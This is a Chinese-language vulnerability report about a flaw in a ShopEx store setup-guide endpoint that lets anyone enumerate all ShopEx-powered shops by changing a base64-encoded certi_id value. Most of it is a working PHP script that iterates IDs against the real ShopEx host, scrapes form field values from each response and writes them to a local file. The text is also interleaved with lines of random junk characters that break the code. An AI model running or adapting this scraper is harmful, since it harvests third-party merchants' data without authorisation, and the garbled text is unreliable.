ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面
. y/ \- V! N2 K9 x) `
: ^. I# N0 ~8 [3 V- i  R9 s3 G

http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=


% Y: V- P( X1 H% P3 D7 s) f
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
9 u- j4 r/ l2 F

  t% L4 e" w4 B: g  Z
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

) m+ d( h% u) j8 l+ }/ u' a
3 x) }4 o- X1 Q' o6 A
<?php
  Y3 ~8 L) b. v, k6 }) C( o2 ]; w
                for ($i=1; $i < 10000; $i++) { //遍历
) n" v6 T3 ^6 x$ O8 \9 o/ [* K
                        ShowshopExD($i);

                }
, O' k1 |2 c1 y  Y4 N, S( Y
                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';
7 D/ W) J, w+ J% l: l
& {" \+ j" v, l( ?* y) X" ~0 `                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

7 p5 `4 W2 j3 v* M        $url = $url.'?refer='.$refer;
3 A% c% J2 c/ O5 i5 a3 E
        $ch = curl_init($url);

# [* Z! u2 q3 x3 e9 q        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

* ~! k4 Y0 R( l5 z# q2 i9 W2 `6 o        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
" i* T! G4 }( `' \; _* Q
        $result = curl_exec($ch);
& l6 ^2 W: g) R; q
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))
% u$ ?0 u9 I# N0 b8 n. m/ ^
        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
, A3 k' h. {! ^/ \* O
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

* f$ z) `. t' {: i/ T                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

0 L7 N) Y# W" K3 Y  z1 u                        echo $res[1][0].':'.$res[3][0]."\r\n";
" p5 x/ g  |7 O2 s& E; ]
                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
( o  V1 I( j& J/ u
" `/ j6 F  P( Y' s/ Z+ d  j* E0 T                }

                echo '--------------------------------'."\r\n";
/ }+ E/ F: Z! w' _! Q
+ k( T; ^. J: T' [* i- L                fclose($fp);

        }

/ [- ^2 c4 E' L8 E        flush();
1 B/ ~' z! g1 P/ h2 H
        curl_close($ch);

                }

?>
' W; x, T( A" v$ B# i$ V漏洞证明：
, P) S, a2 y/ ghttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
" R1 \- t# M0 i4 Irefer换成其他加密方式